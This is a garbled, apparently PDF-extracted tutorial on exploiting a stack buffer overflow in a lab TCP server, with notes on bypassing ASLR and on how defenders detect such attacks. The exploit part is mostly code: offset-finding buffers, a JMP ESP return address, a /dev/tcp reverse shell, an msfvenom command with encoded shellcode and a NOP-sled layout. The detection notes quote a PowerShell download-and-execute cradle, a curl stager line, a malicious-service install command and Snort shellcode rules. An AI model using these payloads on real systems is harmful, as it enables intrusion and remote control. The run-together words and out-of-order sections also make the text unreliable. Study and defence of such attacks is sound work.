Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
